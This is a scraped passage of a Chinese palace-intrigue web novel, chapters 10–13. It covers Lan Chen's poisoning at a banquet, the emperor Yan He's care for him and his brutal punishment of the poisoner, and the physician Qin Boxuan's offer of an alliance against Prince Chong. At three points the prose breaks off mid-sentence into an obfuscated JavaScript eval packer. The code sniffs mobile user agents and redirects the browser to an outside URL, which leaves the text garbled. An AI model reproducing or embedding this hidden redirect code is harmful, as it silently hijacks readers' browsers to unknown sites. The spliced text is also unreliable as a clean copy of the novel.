而眼前这位伶人毫不怯场,等太监验完酒水无毒后,他便提着酒壶柔弱无骨靠近,此情此景,必定是会为宴席增添不少情趣。 兰沉见状自然认为不宜打扰,尤其是伶人身上的香气颇重,他闻着嗓子难受,何况自己还坐在燕赫身边,这会儿招了伶人上前,三个人总归有点挤的,想了想,他欲起身让开。 谁知手腕猛地被拽住,抬眼一看,不是燕赫 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伶人拎着酒壶试图贴近燕赫,见帝王并未推开自己,暗自松了口气,虚虚依偎着道:“奴家此番是来给陛下献酒,听闻兰公子宠冠内宫,不知奴家可有机会也为公子献上一杯呢?” 他说话的声音让人如沐春风,再配上这么一张妩媚的脸,换个人都要把他捞在怀里好好疼爱一番了。 但是,燕赫不为所动,阴沉注视着兰沉的举动。 兰沉有些不解,内宫面首各有千秋,听闻燕赫时常留宿他人寝殿,说明雨露均沾,这会儿美人都送到脸上来了,怎么一点反应没有? 他清了清嗓子,方才吃了不少点心和梨膏糖,嗅到香气总生呛,见伶人献殷勤,总不好当众拂了人家面子,只能保持着距离轻声应下,“有劳” 兰沉噙着浅笑和伶人迂回,随即看了眼燕赫,见他任由伶人靠在身侧,几乎要贴在一块儿了,兰沉想到两人昨夜还缠绵悱恻,莫名觉得眼前这一幕有些扎眼,心底生闷,权当是厚重的香气扑鼻所致,熏得他额头突突地疼。 伶人笑着往他的杯子倒酒。 “等等。”燕赫突然开口拦下,随后把手边的银杯推到壶嘴前,“往这倒。” 银杯能验毒,而且那酒杯只有燕赫一人能用,伶人心生疑惑,一时半会儿不知帝王何意,“可是陛下,这是您的杯子......” 燕赫凝视着兰沉道:“酒杯而已,谁用不是一样。” 话虽如此,一旁的朝歌心想,主子的东西从不喜人碰,这会儿竟大发慈悲简直少见。 而燕赫的言外之意再明显不过,要兰沉和他共饮一个酒杯,伶人别无他法只能照做,随着清冽的酒水缓缓注入酒杯,四周鸦雀无声,纷纷注视着酒杯被伶人斟满。 兰沉专注看着酒杯的变化,直到酒水停下,银杯也未曾发黑,说明此酒无毒,他也放心伸手去拿酒杯了。 10. 第 10 章 兰沉拿起酒杯毫不犹豫仰头喝去,烈酒触及喉咙时,他觉得辛辣的同时,还有一阵灼热感,但这个感觉并不强烈,却莫名叫他觉得熟悉,喝完后紧接着竟咳嗽起来。 燕赫原本喝酒的动作便慢人一步,此刻听见咳嗽传来,二话不说擡开身旁的伶人,伸手去扶着弯腰咳嗽的兰沉。 兰沉不胜酒力,加上香气扑鼻呛得他不停咳嗽,烈酒像被催化似的,只觉脑海眼前一阵眩晕,顿时口干舌燥起来。 他感觉手臂被人扶着,匕首就在那人的掌心的位置,惊得他下意识想要缩手,奈何被燕赫死死握着不放。 “别动。”燕赫警告的声音从耳边传来,手掌覆在他的后背为他顺气,“既然不想被发现,日后就换个地方藏着。” 兰沉倏地抬眸,但很快又收回了视线,只能借着他的手臂撑着身子,垂着眼又咳了两下,哑着嗓子道:“微臣失态了,忘记今日染了风寒。” 闻言,燕赫把人扶起,朝伶人侧目一眼,惊得对方跪落在地,他从怀里取出梨膏糖塞到兰沉掌心,“孤命人传太医去你宫里。” 兰沉低头瞧见手里的梨膏糖,眼底掠过一抹意外,又看了看桌上摆着的一盘糖,疑惑燕赫何时把这东西揣怀里了。 他把梨膏糖藏起,随即颔首谢恩,离开前瞥了眼银杯,显然酒水无毒,心中悄然松了口气,原来是他想多了,适才喝酒时的错觉,让他还以为自己中毒了。 离开月影楼后,他在路上遇见前来找自己的元汐姑姑。 两人迎面而上,彼时兰沉口中还含着燕赫给的梨膏糖,说话不是很方便,只能由着元汐把话先说了。 元汐道:“公子,平日给咱们长乐殿把脉的太医休沐了,今夜上值的是秦伯暄秦太医,奴婢担心公子抱恙,只好把秦太医请来。” 她提到秦伯暄时刻意放低声音,像是生怕隔墙有耳。 兰沉听闻是秦伯暄时脚步顿了下,待糖融完后才道:“秦太医凭本事入的太医院,即使他父辈是戴罪之身,此人遗旨并未消沉,依旧承其衣钵钻研医术,可见此人心志坚定,方才被陛下破格提拔至太医院。” 元汐点头赞同他所言,却忍不住为其叹息,“若非秦院使岁数大糊涂了,也不会让先帝误服了幻视的药草,害得先帝失手杀了先皇后,否则啊,这秦家如今也是传世医家,可惜好好的招牌被砸了。” 眼看将到长乐殿,兰沉逐渐放缓脚步,思忖着先帝之事问道:“元汐姑姑,你可知出事那时候,当今陛下身在何处?” 元汐左右环视一圈,确定没人才敢压低声说:“不瞒公子,奴婢听闻陛下当时就在殿内,正因如此受了天大的刺激,疯了似捡起血泊里的剑剃发自残,若非崇王及时赶来,只怕这天下......” 后面的话即使不说,兰沉也明白是天下易主的意思。 他未料燕赫的青丝短一截的原因竟在此,断发为大不孝,虽过去多年,他也从未让青丝的长度过腰,可想而知当年所受创伤之大。 可即便如此,燕赫登基后也从未将此事迁怒旁人,如此惜才深明,想必治理朝政时并非如传闻的暴戾可怖。 离长乐殿的路不长,兰沉因为不适磨磨蹭蹭良久才回到,刚踏入殿内,就见一抹身影如闪电飞到面前,他和元汐定睛一看,原来是长乐殿的贴身太监小青子。 而跟在小青子身后还有一老成持重的青年,那人正是太医秦伯暄。 秦伯暄上前行礼时一顿,鼻尖轻轻一嗅,拧着眉梢须臾,似有不解,但话到嘴边却改口问:“公子可是染了风寒?” 兰沉先是一愣,转而和元汐对视,两人都看到对方眼底的诧异。 元汐回礼道:“秦太医果真医术高明。” 但是秦伯暄并未自诩,脸上的神色愈发奇怪,欲言又止端详着兰沉。 相比元汐的意外,兰沉的担心则是回来的对话是否被听见了。 秦伯暄道:“公子有所不知,下官方才隐约听见门外有咳嗽声,此刻见到公子才推断出来的,公子不如先入殿内。” 兰沉微微颔首,随后命元汐和小青子去备水沐浴,他则到贵妃榻上落座,任由秦伯暄把脉。 谁知兰沉一坐下嗓子生痒,紧接着费力咳嗽,完全没有停下的迹象,脸颊因咳嗽涨红,连额角的青筋都能看得一清二楚,原本被把脉的手不断发颤。 “咳——” 咳嗽来势汹汹,他没有丝毫准备,只觉得喉咙好痛,火辣辣的,又痒又痛,胸口都像有一团火,疼得他浑身冷热交替,不一会儿背脊也开始发汗,呼吸也变得十分急促,即便大口大口喘气也无法缓解,连双眼都渐渐模糊起来,失控之际,手肘将案上的熏炉撞到。 兰沉本来还有一丝神智,想不懂为何会遭殃,此刻看见粉末洒在地上,他因咳嗽深吸一口气,盯着香灰恍惚片刻,终于察觉异样何在了! 他猛地拽紧秦伯暄的手,想到还在宴席里的燕赫,双眼布满血丝,失声喊道:“秦太医咳!快......月影楼!香!” “别说话!别呼吸!”秦伯暄岂非不知异样何在,适才望闻问后便发现不妙,疑似有中毒之症,他扶着兰沉远离香灰,“来人!快来人!” 然而已然迟了一步,兰沉浑身脱力眼看倒下。 殿内的动静很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他以为自己回到当年那个中毒的夜晚,依旧是寒冬腊月,他一个人扛着浑身的疼痛等兄长回府,他想被兄长抱一下缓解疼痛,可是他等啊等,等啊等,只等来屋外的一场冰雪。 那晚他在榻上咳了一夜,睡也睡不好,更无人关心他的死活,若非长姐的婢女路过院子察觉不妥,或许他会死在那个冬天里吧。 当年他渴求一夜未得的拥抱,时隔多年竟然还能得到,此刻双眼充血,神情涣散,只能透过朦胧的视线描绘出搂着自己之人。 好像是燕赫。 “陛下......”兰沉虚弱无力唤道,可转念觉得这个想法可笑,“陛下怎么可能会来。” 11. 第 11 章 燕赫将他紧紧抱在怀中,把他的脸颊捧在掌心里,低声去听他说的一字一句,直到分辨出他所言,连忙回应道:“是我,别害怕。” 他尽力控制语速,担心兰沉听不清楚,所有的目光都集中在手里人,无人察觉他轻抚兰沉的指尖微微发颤。 可兰沉听见声音时权当作幻觉,毕竟燕赫从不自称我,何况宴席未散,又岂会抛下伶人们独自前来,他觉得这个想法太痴心妄想了,不禁自嘲一声,疼痛伴随着心口阵阵发酸,只能用力抓着胸前的衣袍,死死咬着牙关缓解一二,亦如当年那般生生熬着,憋着委屈和眼眶打转的泪,在幻觉中寻着温暖的位置靠去,蜷缩起身子慢慢陷入昏睡。 燕赫见他眉头紧锁,双手还拽着衣袍,明白他疼痛并未缓解,只是靠着意志力忍着。 他裹着兰沉的紧握成拳的手,从那隐忍的力气中感受其中的不易,俯身在兰沉冷汗涔涔的额间落下轻吻,直到听见脚步声,才敛起眸光看去。 秦伯暄手中端着两碗药进来,抬首时他不慎看见燕赫充满杀气的眼神,浑身的血液仿佛凝固了一瞬,险些挪不动脚。 他谨慎上前道:“陛下虽未饮酒受香气催发,但吸了香气会有轻微中毒,龙体要紧,不如先把药喝了再喂公子吧,如今公子昏睡恐怕不好喂药进去。” 燕赫扫了眼他手中的药,沉默端起其中一碗,“转身。” 秦伯暄不敢多想,立刻转身背对着他们。 在他身后,燕赫仰头含下一口药汤,将药碗搁置案上,轻轻捏起兰沉的脸,指腹稍一用力捏开他的牙关,低头吻上他的双唇。 苦涩的药味灌满舌腔,连昏迷的兰沉都不自觉皱起眉头。 直到一碗药用完,燕赫才把人抱起安顿在榻上,命人为殿内添足了炭火,最后走到秦伯暄面前,端起剩下的药面无表情喝完。 刚放下药碗,就瞧见苏公公从殿外进来,轻手轻脚行至跟前说道:“陛下,那伶人招了。” 燕赫回首看了眼床榻上的人,随后抬脚朝殿外而去,看到院中奄奄一息的伶人。 伶人不仅被封住经脉无法动弹,更被朝歌严刑逼供,此刻整个人面目全非,连那双生盼的双眸都只能紧闭,淌下的眼泪都是血水。 他辨别出燕赫出现的位置,狼狈地朝那个方向扭头,欲张口发声却只能吐出几声嘶哑,显然喉咙也被毁了。 燕赫见状,无奈看了眼朝歌,“怎么还活着?” 朝歌愣了下,“主子不审吗?” 结果听见苏公公啧啧两声,“朝歌啊,这人连话都说不清,你这是要陛下往哪儿审呢。” 朝歌被提醒后顿时拍脑袋,嘟囔道:“都怪属下忘了这茬!” 燕赫瞥了眼他,似乎并不着急知晓招供了什么,只是随意端详一番无力呻吟的伶人,目光落在他那双下毒的双手上,冷淡打发道:“把手剁了,找个锦盒装着,孤要送礼。” 反正留着也没用,即使供出了幕后指使,也不会是他想要的人,与其这般,不如留着另有所用。 说罢挥手示意院子众人离开,示意朝歌拖出去处理。 朝歌听闻后打了个冷颤,要说他为主子处理过不少人,但主子每次善后的做法都让他心惊,不是剥皮晒干做成伞,就是拆骨磨粉做珍珠,实在是花样百出,比阎王还狠。 不出片刻,长乐殿前只剩燕赫和身旁的苏公公,深夜的寒风穿堂而过,将檐下的灯笼吹得摇摇欲醉,灯花洒落一地。 苏公公把殿门紧闭,再回到燕赫身边时吓了一跳,发现他的手里正拿着一把精致的匕首,此刻正低头端详着,看那匕首的磨损,想必是用了多年。 见状,苏公公暗自咽了口气,也不知这帝王从何处掏出这般利器,他在燕赫身边多年虽不见怪,但还是担心陛下伤了自己。 沉吟一会儿,他走近些压着声音禀道:“陛下,此事看似有关内宫争宠,可奴才细想,恐怕和兰公子调查之事有关。” 伶人招供自己受人指使,理由是不满兰沉受宠,所以下毒谋害,虽然这些事在内宫屡见不鲜,但这样的理由并不充分,何况内宫面首和崇王府有牵连,即使嫉妒成性,没有默许又岂敢随意得罪朝臣家眷。 燕赫记起暗卫自宫外传回李锦司死亡的消息,手指摩擦着匕首,慢悠悠说道:“你说,一个人死在金陵城,连孤都查不到,会是什么问题呢。” 他搭着眼帘,语气毫无波澜,并不像一句询问,很显然他心中已有了答案。 若非能在金陵城只手遮天的崇王府,岂会这般轻易把伶人送进宫,专门冲着帝王和内宫而来。 苏公公虽心知肚明,却不敢言明,只能先把错归咎在自己身上,“是老奴之过,让贼人趁机陷害陛下,还望陛下恕罪。” “你当然有罪。”帝王轻飘飘道,“还不是你让孤去看这么无聊的舞。” 他的语气里能听出罪不该死,但苏公公还是跪落地上,急忙解释说:“陛下,老奴无不臣之心,并不知这批新人中竟有贼人,还求陛下开恩!” 燕赫打断说:“小点声,别把人吵醒了。” 他抬眼眺望着宫墙顶端,漆黑的眸色如一潭死水,像在自言自语似的,声音带着不屑道:“来来去去都是这些手段,给孤都看腻了。” 苏公公一听,下意识担心他气急攻心发病,疯起来只怕见人就杀,“求陛下莫要糊涂,先帝和先皇后在天之灵,绝对会保佑陛下和江山的!” 燕赫扫了眼肩下被自己剪短的青丝,不禁嘲讽轻笑了声,如此不孝岂敢叫父母庇佑,他看向脚边跪着的苏公公,“这么多年都是这句,你若再不换,孤下次便杀了你。” 苏公公抬头瞅了眼,知晓他不会冲动,得了命令后,扶着老骨头起身笑道:“陛下每回都吓唬老奴,指不定哪里便吓死了,也不劳陛下动手了。” 燕赫问道:“此次事关司礼监和内宫,把眼线找出来。” 苏公公心里有些意外,以往陛下只是将人交给诏狱,从不会深究,“陛下想如何处置?” 燕赫将匕首举在他面前,意味深长笑了声道:“司礼监的全部制成香灰,送到崇王府燃三天三夜,内宫之人......”他顿了顿,“把腿都折了,就说是孤玩腻了,赏给崇王做通房。” 苏公公浑身一僵,这些足够羞辱人了,不仅如此,甚至会会引起言官劝谏,但苏公公别无他法,刚要应下去办,又听见帝王补充道:“派人盯着,好好执行,不必回报此事。” 话音刚落,两人听见殿内传来咳嗽声,燕赫回头看了眼,苏公公连忙说道:“陛下,这夜色已深,不如今夜便留在长乐殿。” 内宫眼线杀不尽,他侍奉两朝君主,怎会看不透帝王心在何处,自兰沉入宫后,这两年帝王看似流连各宫,却唯独长乐殿需烧水至半夜。 从前非崇王府之人独宠内宫,总不会有好下场,所以陛下从不留宿长乐殿,变相护着兰沉,如今虽无需为此遮掩行事,但瞧着这两人的感情,还是有待加深啊。 燕赫心系殿内,挥了挥匕首示意他退下,不过苏公公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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殿门阖上之际,四周鸦雀无声,燕赫为了让榻上之人睡得安稳些,亲自将殿内数盏烛火熄灭,正打算回到内殿陪着兰沉时,忽然听见几声难受的呢喃。 他快速辨别声音自内殿而来,担心兰沉的病势,忙不迭丢下手中的剪子。 内殿烛光昏暗,冷月自窗外洒进,恰好落在兰沉探出帷幔的脸颊上,眼角挂着清泪,毫无血色,双眸微眯,看着像处在一个混沌的状态下,尤其是喃喃的双唇,因脱水而干裂,连话都说不清楚,拖着身子往外爬,眼看快要掉下床榻了。 燕赫加快脚步,从口型中察觉他想喝水,在路过桌案时顺手取走一杯水,直至榻边后,立刻接住他将要跌下床榻的身子。 被接住的瞬间,兰沉只觉得一阵眩晕卷席,整个人像被置身在沙漠中,被烈阳煎熬着却找不到一滴水,他向前一直爬着,在将要因虚脱险些死在沙漠时,竟被他尝到了甘甜的水。 他饥渴不已,贪婪地吞咽这来之不易的水,可欲壑难填,这点水根本不够他索取,他喉咙好干,他想要更多。 殊不知,方才因喝得太快,他不慎把杯子的水洒了出来,不仅沾湿了床榻,还沾湿了燕赫的指尖和掌心。 “水......”兰沉的声音里带着呜咽,紧皱着眉头呻吟着,可怜极了,“给我......” 他好渴。 燕赫见状只能起身重新接水,谁料他湿透的手猛地被拽紧,他刚想回头哄人,话到嘴边却停住了。 因为他的手心传来一股莫名的湿热,柔软得就像是唇。 他转眼一看,瞳孔骤缩,紧接着内心深处猛地一紧,发现兰沉正昂首吻着他的手。 不,准确地说,是在舔祇他手上的水。 如此夸张的一幕,让燕赫的手臂瞬间紧绷,连手背的青筋都跟着崩起,一股燥热自手臂卷席全身,将他的内心搅得波涛汹涌。 燕赫克制着这段画面给自己带来的冲击,打算抽手离开继续倒水,谁知顷刻间,指尖竟被兰沉含进了温暖的舌腔里! 12. 第 12 章 燕赫满脸愕然看着吮吸着手指的唇舌,麻木自头皮瞬间传遍全身,他就这么看着,也忘记把手抽出来,眼睁睁望着手指的水渍被认真舔祇干净。 很显然,兰沉并不知自己的举动有何不妥。 燕赫的喉间滚了滚,身体的躁动不断喧嚣,仅剩的一点理智眼看要被烧透时,兰沉缓缓抬起脑袋,满眼湿润仰望着他,那双明眸充满着渴望。 单纯是对水的渴望。 可对视的瞬间,燕赫渐乱,眼底快速闪过一抹欲望,也正是这抹欲望,将他的理智快速扩散,让他迅速抽出还被含着的手指,喉咙暗滚,压下所有心思,随后面无表情转身朝茶壶走去。 方才竟有一瞬间,他的手指想在舌腔中搅动。 帝王娴熟照顾起人毫不拖泥带水,他向来不喜旁人触碰兰沉,昔年兰沉不禁折腾都是由他善后,如今倒是养成了习惯。 行至茶壶前,他欲提起之际,指尖微不可察颤动了下,他看着被吻过的手,上面的湿热仿佛残留未散,让他舍不得这双手沾染茶壶,只能换一只手。 如此异常的举动,让他不禁自嘲了声,这笔账他先替兰沉记着了,来日得好好讨还才是。 尝到水后,兰沉终究不是饮鸠止渴的状态了,他虽然头昏脑胀,被药物折腾得浑身不适,但还是捧着杯子慢慢喝,担心这水又突然蒸发。 燕赫在软榻坐下,给他的杯子中一点点续水,直到见他喝得差不多才搁下茶壶。 兰沉喝完了水,把杯子小心翼翼放在榻边,迷迷糊糊看了片刻,动作乖巧规矩,似乎确认了这水不会跑掉,他便倒头回了榻上,最后连钻被窝的神情都是满足的。 倒是榻上另一人燥火未消,燕赫一动不动坐着,借昏暗的烛光端详兰沉熟睡的脸颊,目光寸寸游走在对方身上,最后停留在那水润的薄唇上。 明明有过无数次肢体接触,可每一次都是自己主动索取,何曾见过兰沉露出今夜这般神态举止。 尽管他知晓兰沉并无他意,可方才的举动,分明就勾引到他了。 可转念一想,这个样子的兰沉,从前或许被兰玉阶看过无数遍,如何能叫他不想杀了兰玉阶,剥了此人的皮骨。 燕赫伸手去掖了掖被褥,深吸一口气调息,看着兰沉身旁空荡的位置,咬了咬牙径直起身,只见他褪去外袍,黑着脸走出殿外散热。 漆黑夜色当前,他已无心安睡,沉着脸色,让人误以为帝王对照料他人不胜其烦。 翌日一早,兰沉从沉睡中转醒,掀起疲惫的眼帘时,入眼是熟悉的床帏。 他先是呆愣了半晌,等意识渐渐回笼后,才隐约记起了昨夜之事,可他记忆模糊,能想起的也只是昏倒前的一些片段,自己中毒了,咳嗽时太医无法施针,有人把自己按着,很快疼痛蔓延全身,他以为回了兰府,回到当年毒发之时,但又不似当年,好像有人抱着自己不断安抚。 那人好像是......燕赫? 只是他无法笃定自己的猜想,在小青子惊喜着去找太医时,他带着满腹狐疑转身,望着空空如也的被窝,他鬼使神差伸手探向身侧,紧张之余还带着一丝难言的期待,他在试探燕赫可是留宿身侧了。 掌心伸进之际,唯余一片冰冷。 兰沉神情一顿,期待烟消云散,直到身后忽然传来脚步声,他倏然收手,眼底闪过慌张,当意识到自己在试探什么时,紧接着叹了口气。 显然是自己多想了,他怎么会认为燕赫留宿长乐殿,毕竟不得圣心欢喜并非一朝一夕之事,何况昨夜设宴,新人入宫,燕赫想必会留宿那伶人宫中。 想通之后,内心伴随而来的却是一丝失落,未等他想清楚这失落从何而来时,小青子已带着人进了殿内。 兰沉从榻上起身,屋内点了足够的炭火,他穿着里衣保暖足矣,唯独脸色有些惨白,毫无气血,虽有大病初愈之兆,却未能免却身子虚弱一事,以至于他起身时,没忍住咳嗽几声。 恰好这时小青子从进了内殿,瞧见他起身宽衣后立刻上前,“公子,秦太医在殿外等了半个时辰,就为了给公子请脉。” 兰沉整装的动作一顿,偏头看了眼殿门的方向,疑惑问道:“今日怎会这么早来?” 他深知内宫中人素来见风使舵,昔年因自己不受宠,所以太医院对长乐殿并不上心,多亏元汐姑姑私下多打点,才让太医踩着下值前来一趟长乐殿,若无大病,都是得过且过,把脉完便走。 眼下听闻太医在门外等候,兰沉不免有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730319|157270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好奇。 小青子闻言喜笑颜开道:“公子有所不知,这是陛下吩咐的。” “陛下?”兰沉看他,想起昨夜的宴席,恍然明白自己为何会中毒,眼神也跟着暗了下来,“陛下可知我中毒了?” 毕竟毒害内宫之人乃杀头的大罪,但深思一层,燕赫曾扬言兰氏目中无主,凭什么为自己深究,何况若是自己中毒身亡,恐怕还能了却帝王一桩心事,省得和兰氏周旋,又岂会追究到底。 说来还是自己多想,居然被昨夜燕赫出现的错觉蒙了心智,竟对无情的帝王动了不该动的心思。 饶是兰沉如此觉得,万万没想到小青子回道:“当然了,陛下也中毒了。” “什么!”兰沉猛地反手按住小青子宽衣的手,一向的平静被打破,未曾察觉语气夹着着急,“那......陛下可还好?” “陛下自然是无碍。”小青子见他追问,连忙笑道,“公子别担心,若是陛下真出事,又怎会为公子处置了凶手,还陪了公子一晚呢。” 兰沉愕然立在原地,连何时松开了小青子都不知,思绪迅速陷在这番话中。 处置凶手。 陪了一晚。 为何他全然不记得了? 他神情木讷,喃喃自语道:“所以他昨晚来了,竟不是梦吗?” 小青子忙着为他整理衣袍,听见时以为公子为此事开心过头了,由衷为他感到高兴,“当然啦公子,陛下得知公子中毒时可紧张了,昨夜也是陛下给公子喂药呢,奴才听闻,陛下从未照顾过旁人。” 兰沉还沉浸在意外中,闻言目光落在不远处的床榻上,若说燕赫不曾照顾旁人,其实他是不信的,因为他每逢侍寝昏过去时,皆是燕赫将他清洗干净,可举动娴熟,在他看来不过是临幸他人练出来罢了。 倒是留宿长乐殿一事,让兰沉逐渐惊觉这是事实的同时,内心又一片复杂,尤其得知燕赫也中了毒,却还在长乐殿照顾自己,明明可以不顾他的死活,又莫名得到偏爱,让他百思不得其解,隐隐间还添了几分不安,回想近日内宫谣言,他心中开始揣摩燕赫所想。 燕赫的恩宠,难不成真的和兰玉阶的升迁有关? 可他不该恨极兰氏,厌极自己才是吗? 13. 第 13 章 小青子发现公子不语,抬眼看去见他一脸迷茫,怀疑他想不起昨夜之事,言简意赅说了一遍,云云过后,担心道:“公子如今得宠,在内宫里要处处警惕。” 得知伶人是为了争宠才下手,兰沉柔声笑道:“人不犯我我不犯人,此事陛下既已处置,想必一时半刻不会有人敢招惹长乐殿。” 小青子道:“公子说得是。” 话虽如此,兰沉依旧惴惴不安,无论眼下有何想法都无从考究,他更不能直接去问燕赫。 皇宫之外,金陵城之内,有本事把伶人悄无声息塞进内宫,又假借他人之手对朝臣家眷下毒,唯有崇王府。 其次,凭李锦司给的腰牌,燕赫应该怀疑兰氏和崇王府有所牵连,到底为何会由着自己活下去,而不是趁此机会给兰氏一个警告。 燕赫保他的目的何在? 难道想借自己杀了兰玉阶? 思来想去也没个答案,小青子在旁提醒他把脉,遂将疑惑抛掷脑后。 当行至秦伯暄前,兰沉率先行大礼,以表昨夜救命之恩,秦伯暄有些受宠若惊,连忙放下诊具扶起对方,“公子,救死扶伤乃医者本分。” 兰沉被他扶起,让小青子遣散众人后,才轻声说道:“但秦太医却是冒死相救。” 秦伯暄怔了怔,眸色划过一丝诧异,显然藏着心思不敢随意相告,虽然垂首掩饰,却还是被兰沉捕捉到了。 殿内沉默须臾间落针可闻,兰沉见状作请姿,示意他坐下谈,“烦请秦太医为我把脉吧。” 两人落座后,兰沉把手腕递给他,并未急着把话说开,而是仔细观察他的神情,直到他把脉结束后,才抬眼和自己对视。 秦伯暄只对视一眼便快速收回视线,“公子近日需按时服药排毒,待此毒排解完,微臣今后再为公子治疗喉疾旧患。” 因喉疾所致,兰沉平日养成寡言的习惯,与人交谈时嘴边会噙着笑,总给人难以亲近之感,在外人看来就像一株含苞待放的兰花,莞尔平静,喜怒难辨,以至于秦伯暄无法判断他适才话中含义,只能通过脉象和观色揣测一二。 好在兰沉看出他的顾虑,收回手时给他添了杯热茶,用指尖缓缓推到他面前,语气恳切道:“秦太医,前朝之事我并不了解,但内宫众人如何待我有目共睹,一来我和崇王府无关,太医院即便诊出我身有旧患,也不敢随意插手相助,毕竟他们不知谁人害我,担心得罪了崇王府,所以他们平日秉着多一事不如少一事的心态诊脉。”话落他停顿了下,“二来,你有所不同。” 中毒之后总是口干舌燥,兰沉端起茶杯欲抿一口时,视线落在捏着杯子的手,眼前骤然晃过一个诡异的画面,似乎是自己为了解渴而含住什么东西。 他的心头顿时凛然,不动声色滑了下喉头,走神间发现秦伯暄看着自己,连忙制止自己乱想,连忙轻咳两声,撇开目光接着说道:“昨夜我毒发时你已有怀疑,却选择冒险得罪崇王府而相救于我,适才又提及我喉疾,想必是有陛下恩准,才有今后为我一人医治之说,而这些都是你刻意安排过的,不知我的猜测可有不妥?” 话音刚落,秦伯暄先是怔愣少顷,逐渐从兰沉平静的眼中意识到自己的破绽,猛地起身,单手撑在桌上,神情紧绷,桌上的梨膏糖因他的激动震落一颗,他压在案上的指尖因用力而泛白,低头盯着诊具久久不语,满脸震惊过后竟是无尽的愤怒。 兰沉见他如此,也断定自己的猜测不错,明白事关秦院使之死有关,他伸手把掉落的糖捡起,剥开含在嘴里吃着。 昨夜元汐提及秦家,他心中颇有疑惑,堂堂院使身居高位,岂会是粗心大意之人,何况帝王用药需小心谨慎,方能保全九族性命,院使怎敢轻率行事? 但昨夜疑心归疑心,和自己并无关系,所以他并未放在心上。 可如今秦伯暄出手相救,显然对崇王府毫不畏惧,所以才敢大胆推断此事,怀疑秦家落难一事和崇王府有关。 良久,秦伯暄终于开口印证了兰沉的猜想。 秦伯暄盯着他道:“我要和你联手,杀了崇王,还我秦家清白。” 兰沉未料他如此果断,将嘴里的糖推到腮边,反问道:“为何选择我?” 秦伯暄回想那日在宫道上意外所见,“在下曾听闻公子手刃家仆,数日前我回太医院的路上,不慎听见公子和兰大人交谈,想来公子当年并非自愿入宫,如今兰大人和崇王府联手,公子却不愿与之为伍,那你我便是同路人。” 兰沉捏着茶杯轻晃,“你怎会轻易断定,我和他不是狼狈为奸?” “倘若如此,你便不会试探我。”秦伯暄顿时坐下,向他顷身,压低声说,“而且我能告诉你,昨夜要杀你的人不止是崇王。” 兰沉倏地抬眸,面面相觑,一言不发。 秦伯暄性情稳重,唯独提及家事满腔恨意,他既想和兰沉合作,便有一定的信心,时机已到,他也不拖泥带水,语气确切道:“昨夜我出宫后,特意经过崇王府查探了一番,虽未见兰大人的身影,但发现附近停了兰氏的马车。另外,不瞒你说,秦家虽没落,但胜在金陵城的大小药铺和先父有交情,近日曾去过崇王府的大夫告知我一事,崇王府派人查李锦司,在下不才,怀疑昨夜下毒之事蹊跷,大胆猜测兰大人与此事脱不了干系,我虽不知你为何会得罪崇王,但敌人的敌人是朋友,兰公子,我既能医人,亦能杀人,你没有拒绝我的理由。” 说到这里,兰沉紧抿着唇,伶人下毒是为了争宠,但崇王的默许,或许是因为李锦司做事不稳妥才要斩草除根。 可兰玉阶为何参与其中? 兰沉深思一番,以他对兰玉阶的了解,赶尽杀绝非此人作风,唯有一种可能,李锦司定然发现了什么秘密,所以他们宁可错杀不可放过。 他看向秦伯暄,面对如此决心和诚意,的确是他想要的人,所以心中对是否联手基本有了答案,不过他还想确认一事,冷静端详着问:“秦太医,你真的会杀人吗?” 此言一出,秦伯暄竟哑然,刚才身上那股因恨而起的杀意蓦然消散,眼中闪过一丝心虚。 结果显而易见,兰沉见状失笑,用玩笑的语气把心里的顾及相告,“我担心你对我痛下杀手。” 医者仁心,料想秦伯暄不会动手杀人时,兰沉其实是放心的,医者难自医,何况深仇大恨当前,秦伯暄能隐忍不发多年,心志坚定自不必多说,既能深藏复仇,又存仁慈不忘初心,的确是难得之人。 兰沉搁下茶杯起身,再次躬身行礼。 秦伯暄是聪明人,见此举便也无需多言,遂拱手回礼,从怀中取出秦家的腰牌,双手奉上道:“公子若有计划,只需遣人携此腰牌至太医院偏门,我自会为公子前赴后继。” 谁知兰沉将腰牌推了回去,把燕赫赐予的御牌给他看,“宫中内外皆非安全之地,今后你每日来请脉,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730320|157270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有急事京郊相见即可。” 秦伯暄有些意外盯着御牌,想到从前传闻兰沉不受宠,突然记起昨夜帝王的神情,他怎么觉得传言有些荒谬,这长乐殿连御牌都有,真的不受宠吗? 兰沉见他满脸疑惑,无奈打断道:“秦太医,我有一事相求,劳烦你替我查李锦司生前所有住处,过两日我会出宫。” 秦伯暄给他带来的消息可贵,此前他并未下定决心要出宫,但如今他不仅要调查李锦司的死,还要去见一人,兰玉阶。 但在此之前,他要先去一趟太极殿,因为他的匕首不见了。 只有一种可能,匕首被燕赫拿走了。 